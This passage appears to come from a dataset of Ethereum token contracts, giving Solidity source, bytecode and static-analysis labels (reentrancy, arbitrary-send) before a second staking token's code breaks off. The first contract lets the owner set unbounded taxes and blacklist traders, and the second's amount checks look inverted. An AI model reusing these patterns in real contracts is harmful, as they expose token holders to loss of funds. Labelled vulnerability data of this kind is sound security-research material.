Transaction Limit"); } } if (to != uniswapV2Pair && to != _marketingAddress && to != address(this) && to != deadAddress) { require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance > _swapTokensAtAmount; if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { uint256 burntAmount = 0; if (_burnFee > 0) { burntAmount = contractTokenBalance.mul(_burnFee).div(10**2); burnTokens(burntAmount); } swapTokensForEth(contractTokenBalance - burntAmount); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _buyMap[to] = block.timestamp; _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; if (block.timestamp == launchTime) { _isSniper[to] = true; } } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function burnTokens(uint256 burntAmount) private { _transfer(address(this), deadAddress, burntAmount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading() public onlyOwner { require(!tradingOpen); tradingOpen = true; launchTime = block.timestamp; } function setMarketingWallet(address marketingAddress) external { require(_msgSender() == _marketingAddress); _marketingAddress = payable(marketingAddress); _isExcludedFromFee[_marketingAddress] = true; } function manualswap(uint256 amount) external { require(_msgSender() == _marketingAddress); require(amount <= balanceOf(address(this)) && amount > 0, "Wrong amount"); swapTokensForEth(amount); } function addSniper(address[] memory snipers) external onlyOwner { for(uint256 i= 0; i< snipers.length; i++){ _isSniper[snipers[i]] = true; } } function removeSniper(address sniper) external onlyOwner { if (_isSniper[sniper]) { _isSniper[sniper] = false; } } function isSniper(address sniper) external view returns (bool){ return _isSniper[sniper]; } function manualsend() external { require(_msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) external onlyOwner { require(maxWalletSize >= _maxWalletSize); _maxWalletSize = maxWalletSize; } function setTaxFee(uint256 amountBuy, uint256 amountSell) external onlyOwner { _taxFeeOnBuy = amountBuy; _taxFeeOnSell = amountSell; } function setRefFee(uint256 amountRefBuy, uint256 amountRefSell) external onlyOwner { _redisFeeOnBuy = amountRefBuy; _redisFeeOnSell = amountRefSell; } function setBurnFee(uint256 amount) external onlyOwner { _burnFee = amount; } }
0x6080604052600436106101f25760003560e01c80636fc3eaec1161010d5780638da5cb5b116100a0578063a9059cbb1161006f578063a9059cbb14610599578063c5528490146105b9578063dd62ed3e146105d9578063ea1644d51461061f578063f2fde38b1461063f57600080fd5b80638da5cb5b146105215780638f9a55c01461053f57806395d89b41146105555780639e78fb4f1461058457600080fd5b8063790ca413116100dc578063790ca413146104c05780637c519ffb146104d65780637d1db4a5146104eb578063881dce601461050157600080fd5b80636fc3eaec1461045657806370a082311461046b578063715018a61461048b57806374010ece146104a057600080fd5b80632fd689e31161018557806349bd5a5e1161015457806349bd5a5e146103d65780634bf2c7c9146103f65780635d098b38146104165780636d8aa8f81461043657600080fd5b80632fd689e314610364578063313ce5671461037a57806333251a0b1461039657806338eea22d146103b657600080fd5b806318160ddd116101c157806318160ddd146102e757806323b872dd1461030c57806327c8f8351461032c57806328bb665a1461034257600080fd5b806306fdde03146101fe578063095ea7b3146102465780630f3a325f146102765780631694505e146102af57600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b5060408051808201909152600d81526c416e204170657320447265616d60981b60208201525b60405161023d9190611f4b565b60405180910390f35b34801561025257600080fd5b50610266610261366004611df6565b61065f565b604051901515815260200161023d565b34801561028257600080fd5b50610266610291366004611d42565b6001600160a01b031660009081526009602052604090205460ff1690565b3480156102bb57600080fd5b506016546102cf906001600160a01b031681565b6040516001600160a01b03909116815260200161023d565b3480156102f357600080fd5b50678ac7230489e800005b60405190815260200161023d565b34801561031857600080fd5b50610266610327366004611db5565b610676565b34801561033857600080fd5b506102cf61dead81565b34801561034e57600080fd5b5061036261035d366004611e22565b6106df565b005b34801561037057600080fd5b506102fe601a5481565b34801561038657600080fd5b506040516009815260200161023d565b3480156103a257600080fd5b506103626103b1366004611d42565b61077e565b3480156103c257600080fd5b506103626103d1366004611f29565b6107ed565b3480156103e257600080fd5b506017546102cf906001600160a01b031681565b34801561040257600080fd5b50610362610411366004611f10565b610822565b34801561042257600080fd5b50610362610431366004611d42565b610851565b34801561044257600080fd5b50610362610451366004611eee565b6108ab565b34801561046257600080fd5b506103626108f3565b34801561047757600080fd5b506102fe610486366004611d42565b61091d565b34801561049757600080fd5b5061036261093f565b3480156104ac57600080fd5b506103626104bb366004611f10565b6109b3565b3480156104cc57600080fd5b506102fe600a5481565b3480156104e257600080fd5b506103626109e2565b3480156104f757600080fd5b506102fe60185481565b34801561050d57600080fd5b5061036261051c366004611f10565b610a3c565b34801561052d57600080fd5b506000546001600160a01b03166102cf565b34801561054b57600080fd5b506102fe60195481565b34801561056157600080fd5b5060408051808201909152600681526523a4a12122a960d11b6020820152610230565b34801561059057600080fd5b50610362610ab8565b3480156105a557600080fd5b506102666105b4366004611df6565b610c9d565b3480156105c557600080fd5b506103626105d4366004611f29565b610caa565b3480156105e557600080fd5b506102fe6105f4366004611d7c565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561062b57600080fd5b5061036261063a366004611f10565b610cdf565b34801561064b57600080fd5b5061036261065a366004611d42565b610d1d565b600061066c338484610e07565b5060015b92915050565b6000610683848484610f2b565b6106d584336106d085604051806060016040528060288152602001612150602891396001600160a01b038a16600090815260056020908152604080832033845290915290205491906115d7565b610e07565b5060019392505050565b6000546001600160a01b031633146107125760405162461bcd60e51b815260040161070990611fa0565b60405180910390fd5b60005b815181101561077a576001600960008484815181106107365761073661210e565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610772816120dd565b915050610715565b5050565b6000546001600160a01b031633146107a85760405162461bcd60e51b815260040161070990611fa0565b6001600160a01b03811660009081526009602052604090205460ff16156107ea576001600160a01b0381166000908152600960205260409020805460ff191690555b50565b6000546001600160a01b031633146108175760405162461bcd60e51b815260040161070990611fa0565b600b91909155600d55565b6000546001600160a01b0316331461084c5760405162461bcd60e51b815260040161070990611fa0565b601155565b6015546001600160a01b0316336001600160a01b03161461087157600080fd5b601580546001600160a01b039092166001600160a01b0319909216821790556000908152600660205260409020805460ff19166001179055565b6000546001600160a01b031633146108d55760405162461bcd60e51b815260040161070990611fa0565b60178054911515600160b01b0260ff60b01b19909216919091179055565b6015546001600160a01b0316336001600160a01b03161461091357600080fd5b476107ea81611611565b6001600160a01b0381166000908152600260205260408120546106709061164b565b6000546001600160a01b031633146109695760405162461bcd60e51b815260040161070990611fa0565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146109dd5760405162461bcd60e51b815260040161070990611fa0565b601855565b6000546001600160a01b03163314610a0c5760405162461bcd60e51b815260040161070990611fa0565b601754600160a01b900460ff1615610a2357600080fd5b6017805460ff60a01b1916600160a01b17905542600a55565b6015546001600160a01b0316336001600160a01b031614610a5c57600080fd5b610a653061091d565b8111158015610a745750600081115b610aaf5760405162461bcd60e51b815260206004820152600c60248201526b15dc9bdb99c8185b5bdd5b9d60a21b6044820152606401610709565b6107ea816116cf565b6000546001600160a01b03163314610ae25760405162461bcd60e51b815260040161070990611fa0565b601680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b158015610b4257600080fd5b505afa158015610b56573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b7a9190611d5f565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610bc257600080fd5b505afa158015610bd6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bfa9190611d5f565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610c4257600080fd5b505af1158015610c56573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c7a9190611d5f565b601780546001600160a01b0319166001600160a01b039290921691909117905550565b600061066c338484610f2b565b6000546001600160a01b03163314610cd45760405162461bcd60e51b815260040161070990611fa0565b600c91909155600e55565b6000546001600160a01b03163314610d095760405162461bcd60e51b815260040161070990611fa0565b601954811015610d1857600080fd5b601955565b6000546001600160a01b03163314610d475760405162461bcd60e51b815260040161070990611fa0565b6001600160a01b038116610dac5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610709565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610e695760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610709565b6001600160a01b038216610eca5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610709565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610f8f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610709565b6001600160a01b038216610ff15760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610709565b600081116110535760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610709565b6001600160a01b03821660009081526009602052604090205460ff161561108c5760405162461bcd60e51b815260040161070990611fd5565b6001600160a01b03831660009081526009602052604090205460ff16156110c55760405162461bcd60e51b815260040161070990611fd5565b3360009081526009602052604090205460ff16156110f55760405162461bcd60e51b815260040161070990611fd5565b6000546001600160a01b0384811691161480159061112157506000546001600160a01b03838116911614155b1561148157601754600160a01b900460ff1661117f5760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642100000000000000006044820152606401610709565b6017546001600160a01b0383811691161480156111aa57506016546001600160a01b03848116911614155b1561125c576001600160a01b03821630148015906111d157506001600160a01b0383163014155b80156111eb57506015546001600160a01b03838116911614155b801561120557506015546001600160a01b03848116911614155b1561125c5760185481111561125c5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610709565b6017546001600160a01b0383811691161480159061128857506015546001600160a01b03838116911614155b801561129d57506001600160a01b0382163014155b80156112b457506001600160a01b03821661dead14155b1561137b5760185481111561130b5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610709565b601954816113188461091d565b611322919061206d565b1061137b5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610709565b60006113863061091d565b601a5490915081118080156113a55750601754600160a81b900460ff16155b80156113bf57506017546001600160a01b03868116911614155b80156113d45750601754600160b01b900460ff165b80156113f957506001600160a01b03851660009081526006602052604090205460ff16155b801561141e57506001600160a01b03841660009081526006602052604090205460ff16155b1561147e57601154600090156114595761144e60646114486011548661185890919063ffffffff16565b906118d7565b905061145981611919565b61146b61146682856120c6565b6116cf565b47801561147b5761147b47611611565b50505b50505b6001600160a01b03831660009081526006602052604090205460019060ff16806114c357506001600160a01b03831660009081526006602052604090205460ff165b806114f557506017546001600160a01b038581169116148015906114f557506017546001600160a01b03848116911614155b15611502575060006115c5565b6017546001600160a01b03858116911614801561152d57506016546001600160a01b03848116911614155b15611588576001600160a01b03831660009081526004602052604090204290819055600b54600f55600c54601055600a541415611588576001600160a01b0383166000908152600960205260409020805460ff191660011790555b6017546001600160a01b0384811691161480156115b357506016546001600160a01b03858116911614155b156115c557600d54600f55600e546010555b6115d184848484611926565b50505050565b600081848411156115fb5760405162461bcd60e51b81526004016107099190611f4b565b50600061160884866120c6565b95945050505050565b6015546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561077a573d6000803e3d6000fd5b60006007548211156116b25760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610709565b60006116bc61195a565b90506116c883826118d7565b9392505050565b6017805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106117175761171761210e565b6001600160a01b03928316602091820292909201810191909152601654604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561176b57600080fd5b505afa15801561177f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117a39190611d5f565b816001815181106117b6576117b661210e565b6001600160a01b0392831660209182029290920101526016546117dc9130911684610e07565b60165460405163791ac94760e01b81526001600160a01b039091169063791ac94790611815908590600090869030904290600401611ffc565b600060405180830381600087803b15801561182f57600080fd5b505af1158015611843573d6000803e3d6000fd5b50506017805460ff60a81b1916905550505050565b60008261186757506000610670565b600061187383856120a7565b9050826118808583612085565b146116c85760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610709565b60006116c883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061197d565b6107ea3061dead83610f2b565b80611933576119336119ab565b61193e8484846119f0565b806115d1576115d1601254600f55601354601055601454601155565b6000806000611967611ae7565b909250905061197682826118d7565b9250505090565b6000818361199e5760405162461bcd60e51b81526004016107099190611f4b565b5060006116088486612085565b600f541580156119bb5750601054155b80156119c75750601154155b156119ce57565b600f805460125560108054601355601180546014556000928390559082905555565b600080600080600080611a0287611b27565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611a349087611b84565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611a639086611bc6565b6001600160a01b038916600090815260026020526040902055611a8581611c25565b611a8f8483611c6f565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611ad491815260200190565b60405180910390a3505050505050505050565b6007546000908190678ac7230489e80000611b0282826118d7565b821015611b1e57505060075492678ac7230489e8000092509050565b90939092509050565b6000806000806000806000806000611b448a600f54601054611c93565b9250925092506000611b5461195a565b90506000806000611b678e878787611ce2565b919e509c509a509598509396509194505050505091939550919395565b60006116c883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506115d7565b600080611bd3838561206d565b9050838110156116c85760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610709565b6000611c2f61195a565b90506000611c3d8383611858565b30600090815260026020526040902054909150611c5a9082611bc6565b30600090815260026020526040902055505050565b600754611c7c9083611b84565b600755600854611c8c9082611bc6565b6008555050565b6000808080611ca760646114488989611858565b90506000611cba60646114488a89611858565b90506000611cd282611ccc8b86611b84565b90611b84565b9992985090965090945050505050565b6000808080611cf18886611858565b90506000611cff8887611858565b90506000611d0d8888611858565b90506000611d1f82611ccc8686611b84565b939b939a50919850919650505050505050565b8035611d3d8161213a565b919050565b600060208284031215611d5457600080fd5b81356116c88161213a565b600060208284031215611d7157600080fd5b81516116c88161213a565b60008060408385031215611d8f57600080fd5b8235611d9a8161213a565b91506020830135611daa8161213a565b809150509250929050565b600080600060608486031215611dca57600080fd5b8335611dd58161213a565b92506020840135611de58161213a565b929592945050506040919091013590565b60008060408385031215611e0957600080fd5b8235611e148161213a565b946020939093013593505050565b60006020808385031215611e3557600080fd5b823567ffffffffffffffff80821115611e4d57600080fd5b818501915085601f830112611e6157600080fd5b813581811115611e7357611e73612124565b8060051b604051601f19603f83011681018181108582111715611e9857611e98612124565b604052828152858101935084860182860187018a1015611eb757600080fd5b600095505b83861015611ee157611ecd81611d32565b855260019590950194938601938601611ebc565b5098975050505050505050565b600060208284031215611f0057600080fd5b813580151581146116c857600080fd5b600060208284031215611f2257600080fd5b5035919050565b60008060408385031215611f3c57600080fd5b50508035926020909101359150565b600060208083528351808285015260005b81811015611f7857858101830151858201604001528201611f5c565b81811115611f8a576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252600d908201526c53746f7020736e6970696e672160981b604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561204c5784516001600160a01b031683529383019391830191600101612027565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115612080576120806120f8565b500190565b6000826120a257634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156120c1576120c16120f8565b500290565b6000828210156120d8576120d86120f8565b500390565b60006000198214156120f1576120f16120f8565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107ea57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122075e80a11649e535a8061d498ff4315c06e20dd33dae15238b7a48c30791b60bc64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
3,073
0xa462d0e6bb788c7807b1b1c96992ce1f7069e195
pragma solidity 0.7.0; // SafeMath library provided by the OpenZeppelin Group on Github // SPDX-License-Identifier: MIT /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /* ERC20 Standards followed by OpenZeppelin Group libraries on Github */ interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } /* Staking process is followed according to the ERC900: Simple Staking Interface #900 issue on Github */ interface Staking { event Staked(address indexed user, uint256 amount, uint256 total, bytes data); event Unstaked(address indexed user, uint256 amount, uint256 total, bytes data); function stake(uint256 amount, bytes memory data) external returns (bool); function unstake(uint256 amount, bytes memory data) external returns (bool); function totalStakedFor(address addr) external view returns (uint256); function totalStaked() external view returns (uint256); function supportsHistory() external pure returns (bool); } /*EQUUS Protocol being created with the help of the above interfaces for compatibility*/ contract EQUUSMiningToken is IERC20, Staking { /* Constant variables created for the ERC20 requirements*/ string public constant name = "EQUUSMiningToken"; string public constant symbol = "EQMT"; uint8 public constant decimals = 18; //Burn address saved as constant for future burning processes address public constant burnaddress = 0x0000000000000000000000000000000000000000; mapping(address => uint256) balances; //EQUUS balance for all network participants mapping(address => uint256) stakedbalances; //EQUUS stake balance to lock stakes mapping(address => uint) staketimestamps; //EQUUS stake timestamp to record updates on staking for multipliers, this involves the idea that multipliers will reset upon staking mapping(address => mapping (address => uint256)) allowed; //Approval array to record delegation of thrid-party accounts to handle transaction per allowance /* Total variables created to record information */ uint256 totalSupply_; uint256 totalstaked = 0; address theowner; //Owner address saved to recognise on future processes using SafeMath for uint256; //Important*** as this library provides security to handle maths without overflow attacks constructor() public { totalSupply_ = 100000000000000000000000000; balances[msg.sender] = totalSupply_; theowner = msg.sender; emit Transfer(msg.sender, msg.sender, totalSupply_); } //Constructor stating the total supply as well as saving owner address and sending supply to owner address //Function to report on totalsupply following ERC20 Standard function totalSupply() public override view returns (uint256) { return totalSupply_; } //Function to report on account balance following ERC20 Standard function balanceOf(address tokenOwner) public override view returns (uint) { return balances[tokenOwner]; } //Burn process is just a funtion to calculate burn amount depending on an amount of Tokens function cutForBurn(uint256 a) public pure returns (uint256) { uint256 c = a.div(20); return c; } //Straight forward transfer following ERC20 Standard function transfer(address receiver, uint256 numTokens) public override returns (bool) { require(numTokens <= balances[msg.sender], 'Amount exceeds balance.'); balances[msg.sender] = balances[msg.sender].sub(numTokens); balances[receiver] = balances[receiver].add(numTokens); emit Transfer(msg.sender, receiver, numTokens); return true; } //Approve function following ERC20 Standard function approve(address delegate, uint256 numTokens) public override returns (bool) { require(numTokens <= balances[msg.sender], 'Amount exceeds balance.'); allowed[msg.sender][delegate] = numTokens; emit Approval(msg.sender, delegate, numTokens); return true; } //Allowance function to verify allowance allowed on delegate address following ERC20 Standard function allowance(address owner, address delegate) public override view returns (uint) { return allowed[owner][delegate]; } //The following function is added to mitigate ERC20 API: An Attack Vector on Approve/TransferFrom Methods function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { require(addedValue <= balances[msg.sender].sub(allowed[msg.sender][spender]), 'Amount exceeds balance.'); allowed[msg.sender][spender] = allowed[msg.sender][spender].add(addedValue); emit Approval(msg.sender, spender, allowed[msg.sender][spender].add(addedValue)); return true; } //The following function is added to mitigate ERC20 API: An Attack Vector on Approve/TransferFrom Methods function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { require(subtractedValue <= allowed[msg.sender][spender], 'Amount exceeds balance.'); allowed[msg.sender][spender] = allowed[msg.sender][spender].sub(subtractedValue); emit Approval(msg.sender, spender, allowed[msg.sender][spender].sub(subtractedValue)); } //Transfer For function for allowed accounts to allow tranfers function transferFrom(address owner, address buyer, uint numTokens) public override returns (bool) { require(numTokens <= balances[owner], 'Amount exceeds balance.'); require(numTokens <= allowed[owner][msg.sender], 'Amount exceeds allowance.'); balances[owner] = balances[owner].sub(numTokens); allowed[owner][msg.sender] = allowed[owner][msg.sender].sub(numTokens); balances[buyer] = balances[buyer].add(numTokens); emit Transfer(msg.sender, buyer, numTokens); return true; } //Staking processes //Stake process created updating balances, stakebalances and also recording time on process run, the process will burn 5% of the amount function stake(uint256 amount, bytes memory data) public override returns (bool) { require(amount <= balances[msg.sender]); require(amount < 20, "Amount to low to process"); balances[msg.sender] = balances[msg.sender].sub(amount); uint256 burned = cutForBurn(amount); totalSupply_ = totalSupply_.sub(burned); balances[burnaddress] = balances[burnaddress].add(burned); stakedbalances[msg.sender] = stakedbalances[msg.sender].add(amount.sub(burned)); totalstaked = totalstaked.add(amount.sub(burned)); staketimestamps[msg.sender] = block.timestamp; emit Staked(msg.sender, amount.sub(burned), stakedbalances[msg.sender], data); emit Transfer(msg.sender, msg.sender, amount.sub(burned)); emit Transfer(msg.sender, burnaddress, burned); return true; } //This function unstakes locked in amount and burns 5%, this also updates amounts on total supply function unstake(uint256 amount, bytes memory data) public override returns (bool) { require(amount <= stakedbalances[msg.sender]); require(amount <= totalstaked); require(amount < 20, "Amount to low to process"); stakedbalances[msg.sender] = stakedbalances[msg.sender].sub(amount); totalstaked = totalstaked.sub(amount); uint256 burned = cutForBurn(amount); totalSupply_ = totalSupply_.sub(burned); balances[burnaddress] = balances[burnaddress].add(burned); 